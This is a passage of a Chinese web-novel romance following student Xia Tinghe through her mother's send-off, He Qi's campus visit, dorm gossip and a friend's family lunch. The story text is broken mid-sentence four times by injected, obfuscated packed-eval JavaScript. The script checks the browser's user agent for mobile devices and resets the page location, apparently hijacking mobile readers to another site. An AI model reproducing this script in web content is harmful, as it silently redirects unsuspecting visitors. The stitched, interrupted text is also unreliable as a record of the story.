她不确定自己是不是听错了，但又不好意思再问。 等到蔺妤发完了消息，一抬头，发现她还站在门口，疑惑地问：“怎么了？不是明天早上的飞机吗？还不去睡觉？” 夏汀禾乖乖点头，起身走向卧室。 踏进房门前，听到身后传来一句： “具体早上几点的票来着？我让你舅舅早点去车库把车开出来，我手不方便，就让他开车送我们俩过去好了。” 夏汀禾停住了脚步。 - 一整晚都处于兴奋的状态，七点的闹钟一响，夏汀禾就起来了。 等她洗漱完，准备去拿行李箱时，蔺妤从厨房走了出来：“先过来吃早餐。” 半梦半醒地走到餐厅，看到一桌子丰盛的，夏汀禾忍不住问：“妈妈你是出去买早餐了吗？” 要说是出去买的，也不像。 附近的早点店夏汀禾一般都吃过了，没有认不出来的。 蔺妤给她调了一些酱料放在碟子里，波澜不惊地回复：“不是，我做的。” 记忆里，只有夏景年有事出差不在家时，蔺妤为了照顾她才会偶尔下一两次厨。 但那也是很久之前的事了。 他们离婚之后，夏汀禾就没再看她进过厨房，点外卖或者直接去对门舅舅家吃，才是常有的。 看她迟迟没有坐下，蔺妤抬起头问：“喜欢吃外面的？” 夏汀禾迅速摇了摇头。 一顿早餐解决完后，蔺回绪在这时敲门进来。 看到桌上的吃的，又瞬间变回了小孩样，对着蔺妤嚷嚷：“姐，你做这么多好吃的都不叫我。亏我还一大早起来给你开车。” 蔺妤正拿着外套整理挎包，听见这么一句，回了一嘴：“你从小到大给你做过多少顿了？良心哪去了？” 被骂了一顿，心里舒坦了，蔺回绪这才笑嘻嘻地应付了过去，赶忙跑下楼去了车库开车。 出发的时间节点早，一路上并不堵，三个人聊着天，很快就抵达了机场。 正是开学的高峰期，机场里并不乏来送孩子的家长。 开了车门下来时，正好旁边也有一对母女。 母女俩显然关系十分融洽，女儿告了别之后，又和妈妈拥抱了下，才进了机场。 蔺妤跟在她后面下来的，自然也是看到了这一幕。不过她们俩看完之后，不约而同地又看向了别处。 夏汀禾已经不记得自己上次和蔺妤拥抱是什么时候了。 可能是在幼儿园？可能是更早。 站在马路边上，两人一时间无言。 一路上活跃气氛的蔺回绪没下来，只坐在车里，装作什么都不知道地刷着手机。 许久后，蔺妤先开了口：“快检票了，进去吧。过安检还要一段时间。” 她穿了和平时工作时不同的淡绿色长裙，挽着头发的，说话也显得格外温婉。 夏汀禾产生过那么一瞬间的错觉，仿佛看到了以前的她。 等了一会儿，蔺妤也没再有新的叮嘱，夏汀禾听她的，说了声好便走向了机场。 顺利地登了机，坐到座位上时，夏汀禾习惯性地关了手机放进背包里。 打开了背包的夹层才发现，里面多了张银行卡。 乍一看是崭新的，但摸到边角的一些磕绊的地方，感觉又像是有些年头的。 旁边是写在便利贴上的字。 夏汀禾一眼就看出来是蔺妤写的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709148|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【里面是给你存的一点零花钱，平时想买什么直接用就行，密码是你的生日和身份证号后两位】 不知怎么的，在飞机起飞前，夏汀禾趁着这么短的时间，迅速地就在手机上绑定了银行卡。 一栏信息跳出来，她看到了卡上的收支情况——每年的储蓄都在增多，每个月都有一笔固定的钱转入。 和她猜的一样。 从她单独跟着蔺妤过的那年起，蔺妤每个月发了工资，就会第一时间往这里面存。 一直坚持着，从来没有中断过。 - 下午回到了学校，宁苒也提前来了。把行李一扔，宁苒便拉着夏汀禾出去吃饭。 她们也走太远，就选了离宿舍几分钟路程的食堂。 点完了饭后，对坐在熟悉的椅子上，听着周遭嘈杂的交谈声，宁苒忍不住感慨：“这么久没吃食堂，还有点怪想的。” 话说出去了，却没人接。宁苒看向对面，夏汀禾还在盯着手机发呆。 “看什么呢汀妹。”宁苒当即伸手在她眼前晃了一下。 夏汀禾这才反应过来，应付了两句。 几分钟后饭菜端上了桌，宁苒正大快朵颐地吃着，忽地又听到对面的夏汀禾问：“你今天是家人送你过来的吗？” 没弄明白她怎么突然想起来问这个，宁苒咬着筷子应了一声：“对啊，我爸妈开车带我过来的。” 夏汀禾笑了笑，像是平常一样地分享，又像是措了很久辞才说出来的话：“我也是，我妈妈和舅舅送的我。” 夏汀禾本来就长了一张乖巧温软的脸，笑起来更添了几分明媚和干净。 宁苒很少看到她笑，不由得看愣了一会儿。 她了解夏汀禾的性子，却从未这么直观地感受到夏汀禾心情很好。 宁苒喜欢她这样，也希望她一直这样。 两个人饭桌上的谈话都变多了些。 回宿舍的路上，宁苒照常挽着夏汀禾的手走。 她们选的是小路，并不宽敞。 本来因为天气热，她们还想走快点回宿舍吹空调，但前面有两个男生并排着，直接挡住了去路。 正准备礼貌地让对方让一下，其中一个男生突然开口说了话：“诶，你放假的时候有刷校园墙么？” “刷什么？” “就是付言辞被一个女生追的那条啊。” 他说着又倏地停了下来，夏汀禾差点撞了上去。 男生仿佛这时才注意到了她们两个，慌忙道了歉：“对不起啊，我还以为我后面没人呢。” 夏汀禾回着说没关系，定睛一看，发现对方是付言辞的室友。 他们之前在球馆里见过的。 夏汀禾并不确定陈航记不记得她，但总的来说，他们也并不熟，于是这一小插曲过去后，陈航给让了路，她也就直接走了。 回到宿舍后，宁苒第一时间和她道：“汀妹，刚刚那两男的说的你别介意啊。他们可能什么都不懂，就在那瞎说。” 事情已经过去了这么久，夏汀禾是真的不介意：“没事的。” 她原本以为这些会对自己造成影响，不过去了食堂走了一圈后，也根本没人认识她，或者有什么异样的眼神投过来。 大家之前也是看个热闹就过去了，到底还是更关注自己的生活。 夏汀禾不想在这些上面多花心思。 只是晚上宁苒出去见朋友了后，她一个人坐在宿舍里，莫名的，又想起了那些乱七八糟的。 她打算早点洗澡睡觉。 刚起身，对面宿舍的一个女生就过来敲了敲门。 “是找宁苒吗？”夏汀禾只能想到这里。 她和除了自己宿舍的，都不怎么熟。 总不可能是来找她的。 女生摆了摆手，说：“啊，不是啊，我没找她。我是来传话的。” 女生指了指她： “你男朋友在楼下等你。” 38. 散步 男朋友？ 这个词对于夏汀禾来说太过陌生，她眨了眨眼看向女生，好一会儿，反应过来说：“应该不是我，你是不是找错人了？” “找错人了？”女生抓了下头发，“不会吧，他直接说了你的名字，你要是不信，可以下去看看。” 女生传完话就走了，夏汀禾半信半疑，犹豫了下，还是选择换了衣服跑下了宿舍楼。 楼道里仍和以前一样，时不时地就有同学聊着天路过，夏汀禾小心地避开人流，一步一步踏下台阶，心里却止不住地猜想是谁。 直到快要到一楼时，她站在几层台阶之上，还没完全下去，就看到了在宿舍楼外站着的人。 贺祁穿了件黑白插肩袖，底下随意地搭了条深蓝色的破洞牛仔裤，没有过多的配饰，只是简简单单的穿搭，一身干净又清爽。 他身形挺拔，体态也好，就算是低着头在看手机，在人群中也依旧显眼。 夏汀禾不由得放慢了脚步，视线又落在他手上提着的奶茶袋上。 不出意外，肯定是给她买的。 上次看到梁浩的朋友圈，发现他们学校有一家自制的奶茶店品牌，夏汀禾无意间和他提过想喝。 贺祁不怎么爱吃甜的，饮品一般也是选咖啡。 半分钟后从宿舍楼里走出来，没等她靠近，贺祁先一步察觉到了，抬起了头。 对视了一两秒，夏汀禾先躲开了，温吞地说：“……你怎么过来了？” “不是答应你了么？”贺祁笑了下，“等你一回学校就来找你。” 她是这么说的。 但也没想到会这么快。 她到学校都还没一天呢。 想起刚才女生的传话，夏汀禾不好意思了，垂着眼睫，又放软了声音问他：“那你怎么进来的？” 他们学校有门禁，校外的一般进不来。 贺祁回她道：“提前登记了，今下午你们学校这边不是有学术会议么？” 两个学校的教授老师经常有学术上的交流，偶尔会召开会议进行探讨。一些老教授为了让自己的学生多多感受一下氛围，也会带着他们过来。 贺祁就是找了这个时间点过来的。 只不过他们下午四点就开完会了，贺祁等着她和室友吃完了饭，估摸着她有空了，才过来的。 心底似乎突然被什么东西碰了下，很特别的感觉，夏汀禾一时间不知道该说些什么。 她本来今晚上是打算洗完澡后看会儿书就睡觉的。和往常一样，要是室友出去了，只有她一个人在宿舍，那她也很少会有其他的社交活动。 因为几乎没有人在晚上过来找过她。 见她没说话了，贺祁把奶茶袋递了过去。 “上次不是说对这家店挺感兴趣的？” 夏汀禾下意识地就伸手去接。 心情正好着呢，这时听到他说：“所以我还没喝，特意先给你看看。” 夏汀禾：“？” 不是给她的买的吗？ 伸出去的手停在了空中，夏汀禾抬眸去看他。 贺祁倒像是什么都没察觉一样，开了袋子，拿了吸管，撕开包装后直接插了上去。 “味道应该还挺不错的。”这人还在欠揍地补充着。 没想到是他给自己买的，夏汀禾略微尴尬地收起了手，慌忙看向另一边，双手不知道该往哪放。 直到头顶传来懒洋洋的笑声。 “不喝了？”贺祁扬了下嘴角，漫不经心地问她。 就是给她买的。 贺祁插上吸管后根本没动。 气鼓鼓地看了他一眼，夏汀禾也不和他商量了，直接就从他手中拿了过来喝。 贺祁也没躲，提醒了她一句小心别呛到，就笑着道：“怎么又生气了？我还没说什么呢。” 因为他这一句话，后半程路夏汀禾也不理他了，就端着奶茶边喝边沿着宿舍楼外的柏油路走。 贺祁在后面一直不急不缓地叫她。 “夏汀禾。” “夏汀禾。” 她也不回应。 出来得急，夏汀禾就随便换了套及膝的天蓝色无袖裙，头发也没扎，随意地绑了个高马尾。 他们俩离着半米远的距离。 路两边就是参天的大树，夏汀禾走在树影交叠的中间，路灯把她的影子也拉得悠长，高马尾跟着一晃一晃的，身上仿佛笼了一层柔和的光。 贺祁就这样不紧不慢地跟在她身后，插着兜，脸上带着笑地望着她。 等到一杯奶茶喝完了，夏汀禾才停住了脚，等他跟上来。 这么一折腾，平静下来后，夏汀禾又觉得有些过分了。她把垃圾丢了，走到贺祁的面前，有点讨好意味地问： “……你想看看我们学校吗？” 贺祁笑着反问她：“终于肯理我了？” 夏汀禾默认他答应了。 按照从宿舍出发的路线，夏汀禾带着贺祁逛了学校的好几个地方，她平时上课的教学楼、吃饭的食堂、经常去的小卖部还有散步的操场等等。 贺祁似乎对这些都挺感兴趣的，每次她和他提及自己的一些事，贺祁都会追着多问一两句。 “我周三和周五有这里的晚课。”夏汀禾指着一栋二十层的教学楼说。 贺祁问她：“里面有电梯么？” “没有。”夏汀禾小声嘟囔了一句，“怎么可能会有。” 贺祁又问：“你在几楼上课？” 夏汀禾：“七楼。” 听到这里，他又笑了起来。 夏汀禾看向他：“你笑什么？” 贺祁立即收起了笑，认真道：“没。” 隔了会儿，夏汀禾不经意瞥到他，发现他脸上还带着笑。 她肯定了：“你就是在笑我。” “真没有。”贺祁和她发誓，却笑得更欢快了，气得夏汀禾又不想理他了，不过这次贺祁先一步跟在了她身边，很快就把人哄回来了。 到了隔壁天文专业的学院楼，夏汀禾习惯性地驻足站了一会儿。 “为什么喜欢这个专业？”贺祁站在她身后问。 其实也没有很亮眼的原因。只是因为夏汀禾在许多年前的某天，看过一部科幻电影，里面讲述了除了地球外，可能其他行星上也会存在人类。 尽管后来夏汀禾知道这是仍未被证实的观点，但当时她看到那些模拟宇宙的画面时，第一眼就被辽阔的景象震撼住了。 影片里又简单地提了一些相对论的观点，假设了时空隧道的存在。 只有几岁的夏汀禾就幻想着，说不定有天时空可以倒流，让她回到以前的生活。 但从几岁到十几岁再到二十几岁，这个愿望都没能实现。 她总是在回忆着以前，停留在过去。 “之前接触过一些，觉得很感兴趣。”夏汀禾没把自己内心天真的想法告诉贺祁。 贺祁点了下头，“哦”了一声，接着说了句：“所以也对这个专业的人感兴趣？” 夏汀禾正出神地看着学院楼前的一些布置，没注意听他说话，看完后才扭过头去问他：“你刚刚说什么了？” “没什么。”贺祁停顿了下，耳尖忽地有些红，他别过脸道：“读研可以选它。” 夏汀禾确实是打算研究生时选天文专业。 “嗯，我也是这么想的。” “已经想好了？”贺祁接着问，“具体考虑哪些研究方向？” 他毕竟就是这个专业的，了解得肯定比自己多，夏汀禾也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725176|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他客气了，直接说了之前的一些想法。 两个人边走边聊着天，等这一话题结束，正好散步到了学校的小吃街。 为了表示感谢，夏汀禾去了一家自己常买的凉皮卷店，买了份给贺祁尝尝。 贺祁没接，回应她说：“你吃吧，我不是很饿。” “你是不怎么喜欢零食和小吃吗？” 虽然是这么问，但其实夏汀禾是想说他是不是压根对吃的就不感兴趣。 正餐贺祁也吃的很少，只有偶尔对胃口的，夏汀禾才会看见他多动两下筷子。 听到她的问话，贺祁眼里闪过一丝的情绪，不过很快，他就笑了起来，道：“怎么？不喜欢吃东西也不行了？” 夏汀禾抿了下嘴：“你知道我在说什么。” “嗯。”见她要不高兴了，贺祁认真了些，“只是很少有对胃口的，所以不怎么爱吃。” 贺祁三言两语又应付了过去，最后包了好几层丰富食材的凉皮卷都是夏汀禾解决的。 在学校里转了一小圈后，到了九点，夏汀禾怕他回去赶不上地铁，于是就催着他回去了。 然而刚准备分开，外面突然下起了雨。 贺祁过来的时候还是晴天，自然是不可能带伞的。而从学校去地铁站，还有挺远的一段距离。 “你等等。” 正好离宿舍楼不远了，夏汀禾叫住了他：“你在这里等一下，我去拿把伞给你。” 贺祁原本打算随便从校内的超市买一把的，但在被夏汀禾安排了之后，他又没动了，就听她的站在了原地等着。 夏汀禾快速地跑上了宿舍楼。 还没到门口，楼道里就传来了声音。 “我靠我靠，快来看，那个大帅比又出现了！”一群人趴在了栏杆上，往下看着。 “是对门宿舍夏汀禾的男朋友。” “我都没想到，我们学校还有这么帅的。” “放一百个心，他绝对不是我们学校的。” …… 好在她们离得比较远，又是背对着的，夏汀禾直接回了宿舍，拿了雨伞后再下去也没人发现。 等到了楼下，夏汀禾才意识到她们的声音有多大。 本来就是趴在楼层的阳台讨论着八卦，语气激动的同时，说的话也跟着传了下来，直接抵达了宿舍门口。 “我的妈，好电视剧情节啊。” “我宣布，再也不排斥宿舍楼下亲嘴的情侣了。” “可以的话，希望他们俩可以当场亲一个给我看。” 夏汀禾听得一清二楚，贺祁自然也是听到了的。 “……伞给你。”她装作不知道发生了什么，热着脸把自己的伞递了过去。 贺祁接了过来，低头看了眼手中印着小猫的粉色雨伞，不由得笑了下。 “只有这把了。” 她自然知道贺祁应该不会喜欢这么可爱的东西，但她也没办法，宿舍里就只有这个。 夏汀禾还打算说点什么，这时身后突然跑出来一个同班的同学。 “夏汀禾，那真是你男朋友啊？” 对方大概是以为贺祁已经走了，又继续说：“长得真的绝，我还以为是付言辞呢。” 说完，发现夏汀禾没吭声，同学下意识地往四周看，和贺祁对上了视线后，凝固了一两秒，迅速就蹿走了。 只留下了他们站在了原地。 脸颊莫名地更热了些，夏汀禾想和他解释说不用在意，但看贺祁似乎也没什么神情变化。 他在理着雨伞上的折痕，一丝不苟，十分细致。 等整理好了，他才看向了夏汀禾，好像什么都不知道一般，笑了下，随意地问： “付言辞？” “你前男友么？” 39. 生气 明明和付言辞没有过什么，贺祁问话的语气也很平缓，但夏汀禾听完之后，就是莫名地心慌了一下，似乎有点做错了事的感觉。 “……不是。” 付言辞怎么可能是她前男友。 手心有些出汗，夏汀禾否认了一遍，脑子里却又想不出别的来解释。 “不是？”贺祁仍旧漫不经心地追问：“那你的同学为什么这么说？” 悄摸看了他一眼，夏汀禾不知道从哪来了一点压迫感。 好一会儿，她磕磕绊绊地给出回答：“可、可能因为你们两个都长得挺好看的吧。” 一句应付过去，夏汀禾推着他往外走，扯开了话题：“你快回去吧，等会儿雨都要越下越大了。” 看她手忙脚乱的，贺祁也没再继续下去，顺着她的心意打开了伞。 伞是夏汀禾之前为了出去玩买的，日常刚好够她一个人用，现在被贺祁拿在手上，却显得格外的小巧精致了些。 贺祁特意过来找她的，还等了一下午，现在着急赶着人回去，夏汀禾乖乖站在一边，又有些心虚起来。 在忽然安静下来的氛围中，她随便添了一句：“到宿舍了可以给我发一下消息。” 贺祁正打算出宿舍楼，听到她这么说，又偏头过来问：“报备么？” 这个词的含义莫名有些暧昧，尤其是从他口中说出来。 没等夏汀禾回“她只是随便说一下”，贺祁已经勾了下嘴角，十分爽快地答应了：“知道了，回去就给你发。” 怎么说得好像是她很期待一样？ 总之花了十几分钟，好不容易把人送走了，夏汀禾长舒了一口气，身上如释重负。 上楼之前，她又往贺祁离开的方向看了一眼，见他已经到了等校车的地方，这才安心地回去。 结果一转身，楼梯的拐角处就冒出了几个脑袋，差点把夏汀禾吓一跳。 是之前在楼上讨论的女生。她们对门宿舍的。 几个人朝她围了过来，脸上带着吃瓜八卦的笑。 “我们可是都看见了哦。” “方便问问，你男朋友是哪个学校的吗？” “宁苒她应该还不知道吧？” 一人一句抛了过来，夏汀禾招架不住，只简单地解释了说贺祁和她并不是情侣关系。 三个人同时惊讶。 “不是啊？” “不会吧。” “不可能！” 夏汀禾：“……” 没想到她们几个的性格这么外放，夏汀禾红了脸，温声重新又解释了一遍：“真的不是。” “真的不是啊？”正对着夏汀禾的女生有点不好意思了，“那刚刚我们在阳台上说的话，他没听到吧？” 夏汀禾：“……” 夏汀禾想说他们俩都听得一清二楚，只是不想让女生为难，她摇了摇头，回应道：“……应该没有。” 左边的女生也道了歉：“我刚刚还当着他的面说他像付言辞了，对不起啊。” 夏汀禾：“不用道歉的，他不会生气。” 按照她对贺祁的了解，他应该是不会在意这些细枝末节的小事。 等到两个室友说完，右边的女生才举了下手机，尴尬地说：“那刚刚我和宁苒聊天，不小心说了刚才的情况，你介意吗？” 夏汀禾：“…………” - 宁苒在十分钟之内回了宿舍。连带着黎穗和应忱一起。 她们是在校外碰到的，宁苒也就顺路帮两人提了行李回来。 还没放下东西，三人已经熟练地拉过来了椅子，绕着夏汀禾围成了一圈。 “什么情况？？” “我们居然比隔壁宿舍后一步才知道？” “汀妹你不说清楚的话，我们今晚可是要到你床上去睡觉了。” 夏汀禾：“……” 夏汀禾被她们盯着，不由得低下了头，耳尖又红了些。 “也没什么……”夏汀禾停顿了下，“就是他正好来这边开会，然后就过来找我了。” 她说到后面，声音越来越小。 宁苒却扬起声来：“他来找你？他为什么来找你？找你做什么？你们做了什么？” 要问的话全部被提前说了出来，黎穗打了个响指：“没错，这也是我想问的。” 应忱：“很有逻辑，也是我想知道的。” “没做什么！”夏汀禾迅速回应：“我带他逛了一下我们学校。” “其他的什么都没有。” 她是想告诉室友所有的来龙去脉的，但前段时间相处过后，夏汀禾变得更在意她们的看法。 她没有过亲密的朋友，不知道怎么去处理这些关系才是最好的。她害怕说出来之后，室友会觉得她和想象中的不一样，开始疏离她。 “真的只是这样吗？” 宁苒倏地凑近了些，盯着她看。 夏汀禾努力不让自己回避，点了点头。 “好，我相信你。”宁苒又挽住了她的手，说出自己的担忧：“我是觉得贺祁这个人挺会玩的，怕你被他骗。” 要是不会玩，怎么可能找到她们宿舍楼的？据说还给夏汀禾带了奶茶，两个人在学校里散了两个多小时的步。 这些不可能是什么都不懂的男生会做的。 “早知道之前就不撮合你们了。”宁苒都有些后悔了。 “我知道。”夏汀禾没觉得有什么问题，捏了捏她的手，笑起来回复：“我自己会把握好分寸的。” - 第二天夏汀禾闲着没事，就拿了电脑去了图书馆，想筛选一些读研的学校。 她去得早，馆内开门时就进去了，座位还空着许多。夏汀禾选了个靠着床边的位置坐下，又去茶水间接了杯热水。 回来时刚把水杯放下，旁边突然传来声音。 “你好，请问这里有人坐吗？” 夏汀禾扭头看去。 陈航背着一个黑色的书包站在她面前，脸上笑容淡淡的，指了下她旁边的位置。 怕她不答应似的，他还有些腼腆地推了下鼻梁上的黑框眼镜。 “没有。” 夏汀禾并不介意他坐在自己旁边，只是有些好奇，图书馆里还有挺多空位的，为什么要选在她旁边？ 她最后把原因归结于这里有窗户，外面就是草坪绿地。早上开了窗，风一吹，这一块地方都很清凉，偶尔还能听鸟啼声，环境静谧又安详。 陈航似乎没认出她来，坐下后就开始做起了自己的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734681|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了付言辞的那一层关系，他们也再无别的瓜葛，夏汀禾没有多说什么，很快也打开了电脑。 对着昨晚上贺祁告诉她的一些研究方向，她挑了几个自己比较感兴趣的专业去搜了院校。 一个一个搜索起来，其实是比较费劲的，而且对于大多数学校的具体信息，像是所学课程或者是专攻方向之类的，网上很多都是笼统的说法。 两个小时下来，夏汀禾只得了一个大概的了解，做了个思维导图。 眼睛有些疲乏了，她打算去外面走一圈吃点东西再回来。 这时陈航忽地偏过头问：“你是在看考研的学校吗？” 说完，他又笑着补了一句：“哦，也不一定，照你的成绩，应该可以保研。不好意思，刚刚接完水过来不小心看到了。” 对于关系谈不上深浅的人，夏汀禾一直都是秉持着礼貌的态度。 “嗯。”她也笑了下，回答了。 原本以为这么一句也算是结束了话题，没想到陈航又继续了下去：“那你想选什么专业？还是物理吗？” 他飞快地看了夏汀禾一眼，又收了视线，自言自语似的道：“要是我研究生继续学下去，头发八成得掉成秃头了。” 他自然是在开玩笑的，陈航长得就是标准的青春男大，相貌中等偏上，戴上一副眼镜，颇理工男的感觉。 不知道该回什么，夏汀禾挤出一句话来：“……你头发还挺多的，应该暂时不用担心这个。” 陈航“扑哧”一下笑出了声。 “你说话好好玩啊。” 夏汀禾没明白哪里好笑，正好手机震动了一下。 贺祁给她发了条消息过来。 没打算当着陈航的面看，夏汀禾礼貌地结束了聊天：“抱歉，我有事先走了。” “哦，好，你去吃午饭了对吧？”陈航低了下头，像是在思索什么，没一会儿又抬起了头，“那拜拜，待会儿见。” 夏汀禾也不知道是不是自己产生了错觉，似乎总觉得刚才陈航低头的那一下，往她手机上瞥了眼。 出了图书馆，夏汀禾往小卖部走去。 才十点半而已，她没打算去吃饭，只想买点零食填填肚子。 她边走边打开了消息。 贺祁给她发了个文档过来。 【里面是一些你想研究方向的推荐院校，之前我们导师给发的，我自己加了点备注说明，有需要的话你可以看看】 夏汀禾点开来看。 里面的信息比她在网上搜集到的要全面得多，甚至针对每个学校的人文、地理环境都做了备注说明。 昨天推着贺祁走了，现在他又给自己发了这些，夏汀禾有些不好意思起来。 她旁敲侧击地用自己的方式道歉：【你下次还来我们学校吗？有一个好玩的地方，我还没带你去】 贺祁没问她是什么地方，只淡淡道：【下次再说吧】 夏汀禾反应过来；【昨天的事，你生气了？】 贺祁：【生什么气？】 被他这么一弄，夏汀禾反倒觉得自己有些多虑了。 他应该不会因为这么点小事闹别扭的。 她正打算说没什么，屏幕又突然跳出来一条消息。 【我好看还是他好看？】 40. 楼道 夏汀禾反应了好一会儿才大概琢磨出来，这个“他”指的应该是付言辞。 不过对于贺祁为什么突然这么提问，她还是没太理解。 怎么又扯到这上面来了…… 这个不是昨天就已经过去了么？ 怕他生气，夏汀禾想了下措辞，才发过去：【你和他都很好看啊。你们两个也不是一种类型的，没什么好比的】 她确实是这么想的。 付言辞是清冷那一挂的，贺祁正好和他相反。 然而贺祁并没有打算要放过她：【噢，那他是什么类型？我是什么类型？】 夏汀禾把心里想的给他复述了一遍。 担心他又继续追问，说完，就赶紧反问他：【那你下次还来这边吗？】 贺祁这次直接拒绝了：【不去了。】 夏汀禾：【为什么？】 贺祁：【不想又被人推着走。】 夏汀禾：“……” 这个话题是绕不开了，夏汀禾只好提了个新的：【那我去找你，可以吗？】 贺祁这次终于没拒绝了，回了好，又问了她时间。 确定下来，夏汀禾才发现自己和他聊了半小时，再磨蹭不久都要吃午饭了。 【我先不和你说了，我待会儿还要回图书馆】 回完，夏汀禾迅速跑去了附近的教育超市。 在里面的零食区转了一圈，最后随便挑了一瓶酸奶，边走边喝了，休息了几分钟就原路返回了。 还没走到位置上，夏汀禾先往桌面上看了看。 她原本打开的电脑不知道什么时候关上了。 “你回来了啊？”见她过来，旁边的陈航先起了身给她让地方进去。 夏汀禾还正疑惑呢，陈航指了下她的电脑，说：“刚刚你的电脑突然放歌了，挺大声的，有点吵到周围的同学了。你又没回来，我就自作主张把声音关了。” 夏汀禾弯腰看了下，大概是她起身的时候不小心把有线耳机也连带着拔了出来，正好播放到了下一首后，电脑就放出了声。 想象了一下馆内一大群人盯着自己这边看的场景，夏汀禾瞬间有点无地自容。 耳尖微红了些，夏汀禾小声地和他道歉：“不好意思，谢谢了。” 早知道就不出去买东西吃了。 坐回位置上，夏汀禾直接退出了音乐软件上的登陆，免得到时候又出什么问题。 陈航看她这样，笑了笑，安慰道：“没事，我关得及时，大家也没看过来。” 一上午相处下来，夏汀禾觉得这人还挺热心的。 只是有时候似乎有些热情过了头，让夏汀禾一个慢热性子的人有点不太习惯。 - 午饭夏汀禾本来是打算直接和室友一起去食堂吃，收拾东西时却正好接到了罗欣打过来的电话。 “汀禾，我请假过来啦！你要来我家吃饭吗？我爸妈今天中午做了超级多好吃的！” 一周不用上班，罗欣喜悦的心情溢于言表。 没想到这么突然，不过夏汀禾也就这几天有空了，等后天开始上课了，她也没多少闲暇去外面。 夏汀禾答应了下来。 出了校门，走了十几分钟的路，就到了罗欣家附近。 还没找到具体的地址，罗欣已经在路口和她招手：“汀禾！这边！” 夏汀禾被她带着走进了巷子里的老小区。 她以前只有拿快递的时候来过这边，而且也只是从旁边经过，从没进来看过。 这一块地方有十几栋楼，紧挨在一起的，三三两两之间被纵横交错的巷道隔开。 原本不宽敞的路偶尔还有车辆经过，夏汀禾和罗欣就只能走到了别人家门口站一会儿，等车过去了，才好继续往前走。 夏汀禾没想到市中心这边还有这样的地方。 好在中午还有阳光照射进来，让这里不至于显得太过昏暗。 “怎么啦？”见她慢下了脚步，罗欣回过头来问。 担心她觉得自己会有一些不好的看法，夏汀禾迅速摇头：“没什么。” 罗欣家就在中间的一栋楼房，跟着爬楼梯上去，进了门，夏汀禾看到屋内的陈设时，刚才那些跌宕的心情又平缓了下来。 她们家布置得很温馨。 因为在六楼，阳台窗户前也没有遮挡物，光线很好。屋子里是两室一厅的设计，看着也不算小。 还在门口，罗欣已经大声朝客厅里正在准备水果的父母嚷嚷：“爸妈，我把我朋友带回来了。” 罗夫罗母很快走了出来。 是一对上了年纪的夫妇，头发已经掺了些白丝。不过面色红润，看着很和蔼。 “从学校过来的是吧？还没吃午饭吧，肯定饿了。”罗母先迎了上来，带着她去了桌边，又给她拿了碗筷。 被长辈这么周到地对待，夏汀禾立即不好意思起来，赶紧叫住了人：“阿姨！我自己装饭就好。” 罗母也没多说，笑了下，就说好，把碗筷递给了她。 四个人在桌边坐下，罗夫先说了话：“别客气，就当自己家一样，随便吃。” 桌上的菜很丰盛，有些是罗欣爸妈的拿手菜，正好趁着女儿带朋友回家，就全部做了出来。 罗欣一边吃着菜，一边不忘和爸妈介绍夏汀禾：“爸妈，我和你们说，汀禾可不是一般大学的，她是隔壁那边Q大的学生。” 罗欣着重地强调了一句：“还是学物理的！” “Q大的学生啊，哎呦，那是真厉害了。”罗母惊讶了，眼睛一眨不眨地看了夏汀禾一会儿，眼里满是欣赏。 转眼话题又落到了罗欣身上。 “你和这么优秀的朋友待在一块儿，也不知道和人家学学，整天就知道吃吃吃。” 罗欣不乐意了，撒着娇说：“妈！我现在找到了合适的工作也很不错了好不好？” 罗夫罗母拿她没办法：“好好好，你也很棒。” 两个人又往她碗里夹了个鸡腿，罗欣这才罢休。 为了不让夏汀禾感到不适应，等着父母吃完了饭各自去做事了，罗欣立即拉着椅子坐到了她旁边，给她夹菜。 “这个你多吃点，都是今天早上去楼顶天台现摘的，保证非常新鲜。” “还有这个青椒炒肉，肉片绝对嫩！我亲手腌的！” 眼看着要吃不下了，夏汀禾这才叫住了她：“真的可以了！” 一时间给她推荐自己爸妈做的菜，忘记了分寸，罗欣抿唇笑了下，问她：“你觉得味道怎么样啊？” 夏汀禾真诚地给了回答：“很好吃。” “真的啊？”罗欣提着的心一下子放了下来，“我其实刚才带你过来的时候，还有点紧张。” 夏汀禾不明所以，喝了口汤问：“紧张什么？” “因为我们家庭条件不是很好。”罗欣停顿了下，不自在地抓了下手，“这个我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 